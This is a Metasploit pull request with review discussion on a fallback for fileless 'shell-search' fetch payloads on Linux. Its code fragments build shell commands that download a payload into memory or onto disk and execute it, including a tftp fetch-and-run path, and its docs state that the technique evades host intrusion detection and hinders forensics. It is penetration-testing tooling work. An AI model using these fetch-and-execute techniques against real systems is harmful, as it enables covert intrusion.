Adds fail-safe for search fileless fetch payloads and updates the docs accordingly - #21548
Adds fail-safe for search fileless fetch payloads and updates the docs accordingly#21548msutovsky-r7 wants to merge 14 commits into
Conversation
| cmd << '; then $f' | ||
| cmd << '; FOUND=1' | ||
| cmd << '; break' | ||
| cmd << '; exit 1' |
There was a problem hiding this comment.
what's the reason for this change here?
There was a problem hiding this comment.
When the shell-search fails, it should exit the loop and execute the fail-safe fetch command. If there would be only break and shell-search would succeed, it would execute fail-safe regardless. To avoid too much of additional code, the shell-search exits when executed.
|
@msutovsky-r7 any chance you could give this a quick rebase? |
34f03bd to
d421344
Compare
There was a problem hiding this comment.
Pull request overview
This PR aims to improve reliability of Linux FETCH_FILELESS=shell-search by adding a fallback to the standard (disk) fetch path when no suitable anonymous file handle can be found, and updates the fetch payload documentation to describe the behavior.
Changes:
- Updates
shell-searchexecution flow to support a fallback to a standard fetch destination when fileless handle discovery fails. - Adjusts fileless shellcode jump-instruction generation to avoid
revby using anawk-based reversal pipeline. - Expands fetch-payload documentation to note
shell-searchreliability limitations and the new fail-safe.
Impact Analysis:
- Blast radius: high — affects POSIX fetch command generation for payload adapters (all Linux fetch payload users who enable
FETCH_FILELESS=shell-search); downstream consumers Unknown. - Data and contract effects: no schema/contract changes identified from diff; behavior change in generated command strings may alter on-target artifacts (memory vs disk) depending on fallback path.
- Rollback and test focus: rollback is straightforward (revert command-generation changes); focus testing on
FETCH_FILELESS=shell-searchwhere (1) an anonymous handle is found (must not fall back) and (2) no handle is found (must fall back and still execute), across curl/wget variants at minimum.
Reviewed changes
Copilot reviewed 3 out of 3 changed files in this pull request and generated 3 comments.
| File | Description |
|---|---|
| lib/msf/core/payload/adapter/fetch/fileless.rb | Updates shell-search script generation and replaces rev usage in jump-instruction generation. |
| lib/msf/core/payload/adapter/fetch.rb | Implements the shell-search fail-safe fallback behavior in POSIX execution flow and adds a failsafe-aware destination helper. |
| docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md | Documents the shell-search limitations and the intended fail-safe behavior. |
| cmd << '; then $f' | ||
| cmd << '; FOUND=1' | ||
| cmd << '; break' | ||
| cmd << '; exit 1' |
There was a problem hiding this comment.
@msutovsky-r7 if I understand this, it should be exit 0 because we hit that if we succeed and get the fetch_fileless execution? We replaced break because break would have caused the fallback execution, right? That means we only hit that if we succeed, so exit 0 is correct?
There was a problem hiding this comment.
Technically, yes - although the Copilot is little bit off here if I understand it correctly. But yes, exit 0 is more correct. Will fix it now
| if datastore['FETCH_FILELESS'] == 'shell-search' | ||
| cmds = _generate_fileless_bash_search(get_file_cmd) | ||
| cmds << "f=#{_remote_destination_nix(true)};" | ||
| cmds << get_file_cmd | ||
| else | ||
| cmds = get_file_cmd | ||
| end |
There was a problem hiding this comment.
I might be wrong, but I think this could be an issue since the logic relies solely on exit 0 in _generate_fileless_bash_search to prevent the fallback from firing. If the script is run in a subshell or wrapper (e.g., $(...)), execution might fall through. Adding a guard based on $FOUND could be a good idea. If I understand correctly, that variable is currently set but never checked.
| This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command | ||
| searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find | ||
| a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds | ||
| a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous | ||
| file handle, it execute standard fetch command that downloads the adapted payload. |
bwatters-r7
left a comment
There was a problem hiding this comment.
Looks like we missed the TFTP codepath for the additions?
| # jmp rax | ||
| when 'x64' | ||
| %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ | ||
| %^"48b8"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ |
There was a problem hiding this comment.
vFS= is not supported by strict POSIX awk and will return unaltered data rather than erroring.
Would dropping awk and using POSIX expansion be an option?
$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")
| @@ -328,12 +329,13 @@ def _generate_fileless_bash_search(get_file_cmd) | |||
| cmd << "; then if $(#{get_file_cmd} >/dev/null)" | |||
There was a problem hiding this comment.
After a lot of testing, I discovered that there is an annoying bug (or feature?) in GET where the GET command will return success even when it fails; this shell script then assumed success and continued on until it tried to execute the file that did not actually exist. It did not go well.
I think I have found a way around this by checking to make sure that after the write we have an elf where we expect one to be before we launch it, but getting the syntax right to work across arches and Linux releases is taking some time. Just because something is POSIX does not appear to matter to some releases 😆 . Likewise, just because something is not POSIX does not appear to matter. The below suggestion is not technically POSIX, but still works where what I thought was a POSIX solution fails.
I need to do some more testing and just accepting this change will likely break some spec tests, so I will do more in-depth testing tomorrow, fix the spec tests, and then put up a PR to this PR.
This might work, but I will test more tomorrow:
cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(head -c4 $f)\" = \"$(printf '\\177ELF')\" ]"
|
Per previous discussion, I moved to
Full architecture coverage summary
33/33 across five real architectures/targets, with the I'll finish this up and submit a PR. |
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 5 out of 5 changed files in this pull request and generated 1 comment.
Suppressed comments (2)
docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md:105
- Suggestion: Problem: the new documentation uses informal/unclear phrasing (e.g., “dockers”, “low-privileged user”), which is ambiguous and reads like a typo. Impact: readers may misunderstand the environments where
shell-searchfails and when the fallback triggers. Fix: rephrase with more standard terminology (containers/unprivileged user) while keeping the same meaning.
This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command
searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find
a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds
a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous
file handle, it executes the standard fetch command that downloads the adapted payload.
lib/msf/core/payload/adapter/fetch/fileless.rb:331
- Critical: Problem: the fileless bash-search path uses
exit 1after successfully executing the payload, which reports failure to the caller even though exploitation succeeded. Impact: modules/wrappers that rely on the remote command’s exit status may treat a successful run as an error and/or trigger unintended fallback logic outside this script. Fix: exit with status 0 on success (and update the associated spec expectation).
cmd << '; exit 1'
| expect(cmd).to include('; exit 1') | ||
| expect(cmd).not_to include('; break') |
| if datastore['FETCH_FILELESS'] == 'shell-search' | ||
| cmds = _generate_fileless_bash_search(get_file_cmd) | ||
| cmds << "f=#{_remote_destination_nix(true)};" | ||
| cmds << get_file_cmd | ||
| else | ||
| cmds = get_file_cmd | ||
| end |
There was a problem hiding this comment.
I might be wrong, but I think this could be an issue since the logic relies solely on exit 0 in _generate_fileless_bash_search to prevent the fallback from firing. If the script is run in a subshell or wrapper (e.g., $(...)), execution might fall through. Adding a guard based on $FOUND could be a good idea. If I understand correctly, that variable is currently set but never checked.
| cmds = get_file_cmd | ||
| end | ||
|
|
||
| cmds << ";chmod +x #{_remote_destination_nix}" |
There was a problem hiding this comment.
If I understand this correctly, when FETCH_FILELESS != 'none', _remote_destination_nix returns the literal string $f. So, if the anonymous file handle is found, this is dead code since exit 0 has already been executed. I might be wrong though.
There was a problem hiding this comment.
Yeah, that's the idea to have a backup code when anonymous file handle is not found. There's no way to know whether we can find file handle ahead or not and this is kinda like if/else because the shell exists only if anonymous handle is found. I thought this might be better than patching more code and adding more code rather then adding if [ $FOUND -eq 0 ]. But I can use add if/else if it's better.
| get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" | ||
| return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' | ||
| return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' | ||
| return "#{_generate_fileless_bash_search(get_file_cmd)} #{tftp_fetch_and_exec}" if datastore['FETCH_FILELESS'] == 'shell-search' |
There was a problem hiding this comment.
Similarly to my previous comment, maybe this would also require a guard based on $FOUND instead of only relying on exit 0?
| def _remote_destination_nix | ||
| return @remote_destination_nix unless @remote_destination_nix.nil? | ||
| def _remote_destination_nix(failsafe: false) | ||
| return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true |
There was a problem hiding this comment.
Not a blocker:
| return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true | |
| return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe |
Same below.
| @@ -98,7 +98,11 @@ served payload is the same. | |||
| `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to | |||
| memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are | |||
| two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. | |||
There was a problem hiding this comment.
| two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. | |
| three options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. |
|
Also, I bet the CI failures are because the Spec tests expected the |
| cmd << '; then $f' | ||
| cmd << '; FOUND=1' |
There was a problem hiding this comment.
| cmd << '; then $f' | |
| cmd << '; FOUND=1' | |
| cmd << '; then $f &' | |
| cmd << ' FOUND=1' |
Without backgrounding this, the payload execution blocks the search?
There was a problem hiding this comment.
True; fair point thanks!
6994949 to
912391b
Compare
- Restore `; exit 0` (not `; break`) in the shell-search match branch of
_generate_fileless_bash_search, so a hit terminates the whole script
instead of only the inner search loop. Matches the PR's own regression
spec and the original author's intent, reverted by a later "forgot to
break" commit.
- Wrap get_file_cmd in a subshell before appending the noise-suppressing
`>/dev/null` in both _generate_fileless_shell and
_generate_fileless_bash_search, so a redirect get_file_cmd already embeds
itself (e.g. the plain GET-based `...>$f`) keeps priority over the
outer redirect instead of being silently clobbered.
- Factor the duplicated hex byte-swap shell fragment (7 call sites across
_generate_jmp_instruction) into a single _hex_byte_swap_shell(width)
helper, and fix an odd-length hang: when $vdso_addr needs more digits
than the padded width, the old ${v%??} trim loop never terminated on
the final single leftover character.
- Have the TFTP fail-safe fallback (tftp_fetch_and_exec) honor
FETCH_DELETE like the generic _execute_nix path already does, with a
trailing `;` since it's concatenated in front of a closing ` fi`.
- Drop a redundant `if datastore['FETCH_DELETE']` modifier nested inside
its own enclosing `if datastore['FETCH_DELETE']`.
Verified via rspec (37 examples, 0 failures) and against real hardware
across all affected architectures (x64, x86, aarch64, armle, mipsle,
riscv64le), including forcing an actual shell-search match (not just the
disk-fallback path) and a real TFTP + FETCH_DELETE round trip.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CzVszngwHjJmwTq5sviTHJ
|
One more time.... |
Fix fail-safe fileless fetch review findings from PR rapid7#21548
|
@cdelafuente-r7 could you check this over one more time? |
| cmds = get_file_cmd | ||
| if datastore['FETCH_FILELESS'] == 'shell-search' | ||
| cmds = _generate_fileless_bash_search(get_file_cmd) | ||
| cmds << "if [ $FOUND -eq 0 ]" |
There was a problem hiding this comment.
Make rubocop happy :)
| cmds << "if [ $FOUND -eq 0 ]" | |
| cmds << 'if [ $FOUND -eq 0 ]' |
| if datastore['FETCH_DELETE'] | ||
| cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" | ||
| else | ||
| cmds << "fi" |
There was a problem hiding this comment.
| cmds << "fi" | |
| cmds << 'fi' |
| get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" | ||
| return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' | ||
| return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' | ||
| return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search' |
There was a problem hiding this comment.
Same, rubocop happiness:
| return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search' | |
| return %(#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi) if datastore['FETCH_FILELESS'] == 'shell-search' |
| @@ -515,10 +536,10 @@ def _remote_destination | |||
| # Returns or memoizes the remote payload destination for POSIX targets. | |||
| # | |||
There was a problem hiding this comment.
Please, could add the YARD doc for the new failsafe argument?
|
Also looks like a rebase is in order, and we might as well squash the commits. |
The
shell-searchvariant of fileless fetch payloads has been proved to be not fully reliable across all systems as there are systems (dockers, fresh systems with low resources, access as very low-privileged user,..) where the anonymous file handles either don't exist or existing user does not have permission to write the payload into them. This PR mentions this in fetch payload documentation and adds fail-safe mechanism, which defaults to standard fetch payload if no available file handle is found.